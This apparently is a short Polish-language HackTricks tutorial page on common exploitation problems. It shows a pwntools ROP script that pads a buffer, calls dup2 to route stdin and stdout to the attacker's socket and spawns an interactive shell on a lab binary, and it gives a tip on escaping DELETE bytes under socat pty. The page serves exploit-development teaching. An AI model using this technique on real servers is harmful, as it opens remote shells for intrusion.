Common Exploiting Problems

Support HackTricks

FDs w Zdalnym Wykorzystaniu

Kiedy wysyłasz exploit do zdalnego serwera, który wywołuje system('/bin/sh'), na przykład, zostanie to wykonane w procesie serwera, a /bin/sh będzie oczekiwał na dane wejściowe z stdin (FD: 0) i będzie drukował wyjście w stdout i stderr (FDs 1 i 2). Tak więc atakujący nie będzie mógł interagować z powłoką.

Sposobem na naprawienie tego jest założenie, że kiedy serwer się uruchomił, utworzył FD numer 3 (do nasłuchiwania) i że następnie, twoje połączenie będzie w FD numer 4. Dlatego możliwe jest użycie syscall dup2, aby zduplikować stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana.

Przykład exploita stąd:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Zauważ, że socat już przesyła stdin i stdout do gniazda. Jednak tryb pty zawiera znaki DELETE. Więc, jeśli wyślesz \x7f ( DELETE -) to usunie poprzedni znak twojego exploita.

Aby to obejść, znak ucieczki \x16 musi być dodany przed każdym wysłanym \x7f.

Tutaj możesz znaleźć przykład tego zachowania.

Wsparcie dla HackTricks

Last updated